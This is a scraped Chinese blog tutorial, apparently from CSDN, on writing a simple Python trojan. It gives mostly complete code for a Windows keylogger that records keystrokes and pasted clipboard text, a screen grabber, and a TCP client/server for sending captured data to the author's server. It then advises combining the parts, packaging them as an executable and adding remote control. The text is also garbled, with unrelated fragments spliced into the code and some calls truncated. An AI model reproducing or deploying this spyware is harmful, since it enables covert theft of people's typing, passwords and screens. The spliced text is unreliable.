python写一个木马_Python编写简易木马程序-博客频道-CSDN.NET

python写⼀个⽊马_Python编写简易⽊马程序-博客频道-
CSDN.NET
本⽂章为⼩川先⽣原创,转载可以,请标明出处。 最近开始学python了,然后不⼩⼼开了个ss服务器,然后有同学我要账号,我说,那好吧,回去给你整⼀个。但实际上,加个账号得改ss的json格式的配置⽂件,然后改完还得重启ss服务,配置⽂件要是不⼩⼼少个逗号
0x00 准备 ⽂章内容仅供学习研究、切勿⽤于⾮法⽤途! 这次我们使⽤Python编写⼀个具有键盘记录、截屏以及通信功能的简易⽊马。依然选⽤Sublime text2 +JEDI(python⾃动补全插件)来撸代码。 ⾸先准备好我们需要的依赖库,python hook和pythoncom。 下载安装python hook 下载安装pythoncom模块: 0x01 键盘记录器 说起Keylogger,⼤家的思维可能早已飞向带有wifi功能的mini⼩硬件去了。抛开⾼科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。 Python keylogger键盘记录的功能的实现主要利⽤了pythoncom及pythonhook,然后就是对windows API的各种调⽤。Python之所以⽤起来⽅便快捷,主要归功于这些庞⼤的⽀持库,正所谓“⼈⽣苦短,快⽤Python”。 代码部分: # -*- coding: utf-8 -*-
from ctypes import *import pythoncomimport pyHookimport win32clipboard user32 = windll.user32kernel32 =
windll.kernel32psapi = windll.psapicurrent_window = None #def get_current_process():
# 获取最上层的窗⼝句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
# 将进程ID存⼊变量中
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)卡茨
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# 读取窗⼝标题
windows_title = create_string_buffer("\x00"*512)
红河学院学报length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
# 打印
print
print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
print
# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process) # 定义击键监听事件函数def KeyStroke(event):
global current_window
# 检测⽬标窗⼝是否转移(换了其他窗⼝就监听新的窗⼝)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调⽤
get_current_process()
# 检测击键是否常规按键(⾮组合键等)
if event.Ascii > 32 and event.Ascii <127:
print chr(event.Ascii),
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
中国知行网
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE]-%s" % (pasted_value),
else:
print "[%s]" % event.Key,
# 循环监听下⼀个击键事件
return True # 创建并注册hook管理器kl = pyHook.HookManager()kl.KeyDown = KeyStroke # 注册hook并执⾏
kl.HookKeyboard()pythoncom.PumpMessages() 【知识点】钩⼦(Hook):Windows消息处理机制的⼀个平台,应⽤程序可以在上⾯设置⼦程以监视指定窗⼝的某种消息,⽽且所监视的窗⼝可以是其他
进程所创建的。 撸代码时⼀定要注意严格区分⼤⼩写。检查⽆误后启动keylogger: 然后可以尝试打开记事本写点东西,过程中可以看到我们的keylogger窗⼝正在对我们的输⼊实时记录: 切换窗⼝时会⾃动跟踪到新窗⼝(众:这点功能都没有还敢叫keylogger吗!),light教Atitit.病毒⽊马程序的感染 传播扩散 原理
打印机共享器1. 从⽊马的发展史考虑,⽊马可以分为四代 1
2. ⽊马有两⼤类,远程控制
vs
⾃我复制传播1 3. ⾃我复制2 3.1. 需要知道当前cpu核⼼数量2 3.2. Cpu占⽤百分⽐2 3.3. Io占⽤百分⽐2 3.4. 内存占⽤百分率2 4. 通授趁机骚扰⼀下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗⼝,并忠实的记录下我输⼊的⼀切。 0x02 看看你在⼲什么:编写⼀个screenshotter 截屏实现起来更简单,直接调⽤⼏个gui相关的api即可,我们直接看代码: # -*- coding: utf-8 -*-
import win32guiimport win32uiimport win32conimport win32api # 获取桌⾯hdesktop = win32gui.GetDesktopWindow() # 分辨率适应width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height =
win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left =
中产教育鄙视链
win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top =
win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # 创建设备描述表desktop_dc =
win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc) # 创建⼀个内存设备描述表mem_dc = img_dc.CreateCompatibleDC() # 创建位图对象screenshot =
win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot) # 截图⾄内存设备描述表mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) # 将截图保存到⽂件中screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') # 内存释放
mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle()) 看看效果如何: 0x03 综合运⽤:完成⼀个简易⽊马 ⽆论是keylogger记录下的内容,还是screenshotter截获的图⽚,只存在客户端是没有太⼤意义的,我们需要构建⼀个简单server和client端来进⾏通信,传输记录下的内容到我们的服务器上。 编写⼀个简单的TCPclient # -*- coding: utf-8 -*-import socket # ⽬标地址IP/URL及端⼝target_host = "127.0.0.1"target_port = 9999 # 创建⼀个socket对象client =
内蒙古师范大学学报socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 连接主机t((target_host,target_port)) # 发送数据
client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n") # 接收响应response = v(4096) print response 编写⼀个简单的TCPserver # -*- coding: utf-8 -*-import socketimport threading # 监听的IP及端⼝bind_ip = "127.0.0.1"bind_port = 9999 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((bind_ip,bind_port)) server.listen(5) print "[*] Listening on %s:%d" % (bind_ip,bind_port) def handle_client(client_socket):
request = v(1024)
print "[*] Received:%s" % request
client_socket.send("ok!")
client_socket.close() while True:
client,addr = server.accept()
print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start() 开启服务端监听: 客户端执⾏: 服务端接收到客户端的请求并作出响应: 0x04 结语 最后,你需要做的就是把上⾯三个模块结合起来,⼀个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的⽊马就完成了。可以使⽤py2exe把脚本⽣成exe 可执⾏⽂件。当然你还可以继续发挥,加上远程控制功能。

本文发布于:2024-09-25 06:22:33,感谢您对本站的认可!

本文链接:https://www.17tex.com/xueshu/159579.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:内容   键盘记录   创建   功能   内存
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2024 Comsenz Inc.Powered by © 易纺专利技术学习网 豫ICP备2022007602号 豫公网安备41160202000603 站长QQ:729038198 关于我们 投诉建议